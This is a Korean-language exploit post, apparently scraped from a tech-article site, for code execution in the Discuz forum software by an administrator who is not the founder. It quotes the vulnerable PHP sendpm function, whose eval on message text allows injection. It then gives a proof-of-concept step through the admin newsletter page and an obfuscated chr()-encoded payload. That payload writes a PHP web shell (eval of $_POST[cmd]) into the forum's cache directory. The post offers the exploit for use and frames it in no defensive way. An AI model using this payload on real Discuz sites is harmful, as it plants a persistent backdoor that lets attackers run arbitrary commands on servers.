Discuz 비설립자 관리자 코드 실행
- function sendpm($toid, $subject, $message, $fromid = '') {
- if($fromid === '') {
- require_once DISCUZ_ROOT.'./uc_client/client.php';
- $fromid = $discuz_uid;
- }
- if($fromid) {
- uc_pm_send($fromid, $toid, $subject, $message);
- } else {
- global $promptkeys;
- if(in_array($subject, $promptkeys)) {
- $type = $subject;
- } else {
- extract($GLOBALS, EXTR_SKIP);
- require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
- eval("\$message = addslashes(\"".$message."\");"); // ,
- $type = 'systempm';
- $message = '
- <div>'.$subject.' {time}'.discuzcode($message, 1, 0).'</div>
-
- ';
- }
- sendnotice($toid, $message, $type);
- }
- }
POC: 1. admincp.php?frames=yes&action=members&operation=newsletter 2. 알림: {${phpinfo ()}}}
EXP – (fputs(fopen(‘forumdata/cache/cache_01.php’,'w’),’’);) :
${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr
(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr
(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr
(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr
(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr
(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr
(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr
(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr
(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
양식 제출 후 제출 버튼 비활성화텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.